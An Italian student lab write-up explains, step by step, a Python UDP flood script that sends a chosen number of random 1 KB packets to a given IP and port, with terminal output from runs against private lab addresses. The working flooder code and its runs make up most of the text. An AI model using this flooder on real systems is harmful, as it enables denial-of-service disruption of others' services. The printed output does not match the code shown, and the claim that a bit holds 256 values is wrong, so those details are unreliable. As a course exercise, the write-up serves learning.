

Esercizio Socket e UDP Flood

Procedimenti

1. Per prima cosa importo le librerie: socket per creare lo stesso; random che mi servirà per generare byte casuali
2. Inserisco "DGRAM" negli argomenti relativi al tipo di connessione perchè configurerà la UDP
3. Procedo con l'inserimento in input dell'indirizzo IP e della porta
4. Imposto che la grandezza dei pacchetti da inviare sia da 1 kb
5. Ho usato la funzione "bytes" per convertire la lista di interi in Byte. Si crea una stringa di 1024 byte (1kb= 1024 byte). Usando "random.randin", invece, ho associato ad ogni byte un valore casuale da 0 a 255. Difatti un bit può avere un massimo di 256 valori.
6. Invio un tot n di pacchetti tramite l'indirizzo ip e la porta
Uso for per iterare la procedura per tutti i pacchetti che si vuole inviare. La struttura try except offre una tutela da eventuali errori di connessione durante l'invio.

```
File Actions Edit View Help
GNU nano 6.4
import socket
import random

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

Indirizzo_IP= input("Inserisci l'indirizzo IP: ")
print ("L'indirizzo IP è: ", Indirizzo_IP)
Porta= int(input("Inserisci la porta: "))
print ("La porta è: ", Porta)

Pacchetto= bytes ([random.randint(0, 255) for _ in range(1024)])
n_pacchetti= int(input("Inserisci il numero di pacchetti da inviare: "))
print ("Il pacchetto è stato inviato correttamente")

try:
    for i in range (n_pacchetti):
        s.sendto(Pacchetto,(Indirizzo_IP, Porta))
        print("Il pacchetto:", i , "è stato inviato")
except:
    print("Si è verificato un errore durante l'invio dei pacchetti")

s.close()
```

Fornisco due prove del risultato ottenuto:

```
(kali@kali)-[~]
$ python Esercizio_UDP-Flood.py
Vi presento il test di DDos
```

```
Vi presento il test di DDOS
Inserisci l'indirizzo IP: 192.168.56.101
L'indirizzo IP è: 192.168.56.101
Inserisci la porta: 44444
La porta è: 44444
Inserisci il numero di pacchetti da inviare: 5
Il pacchetto è stato inviato correttamente
Il pacchetto: 0 è stato inviato correttamente
Il pacchetto: 1 è stato inviato correttamente
Il pacchetto: 2 è stato inviato correttamente
Il pacchetto: 3 è stato inviato correttamente
Il pacchetto: 4 è stato inviato correttamente

(kali@kali)-[~]
$ python Esercizio_UDP-Flood.py
Vi presento il test di DDOS
Inserisci l'indirizzo IP: 192.168.56.105
L'indirizzo IP è: 192.168.56.105
Inserisci la porta: 45678
La porta è: 45678
Inserisci il numero di pacchetti da inviare: 7
Il pacchetto è stato inviato correttamente
Il pacchetto: 0 è stato inviato correttamente
Il pacchetto: 1 è stato inviato correttamente
Il pacchetto: 2 è stato inviato correttamente
Il pacchetto: 3 è stato inviato correttamente
Il pacchetto: 4 è stato inviato correttamente
Il pacchetto: 5 è stato inviato correttamente
Il pacchetto: 6 è stato inviato correttamente
```

Infine uno screen dell'attività su Wireshark (comprensiva anche di alcuni test fatti precedentemente)

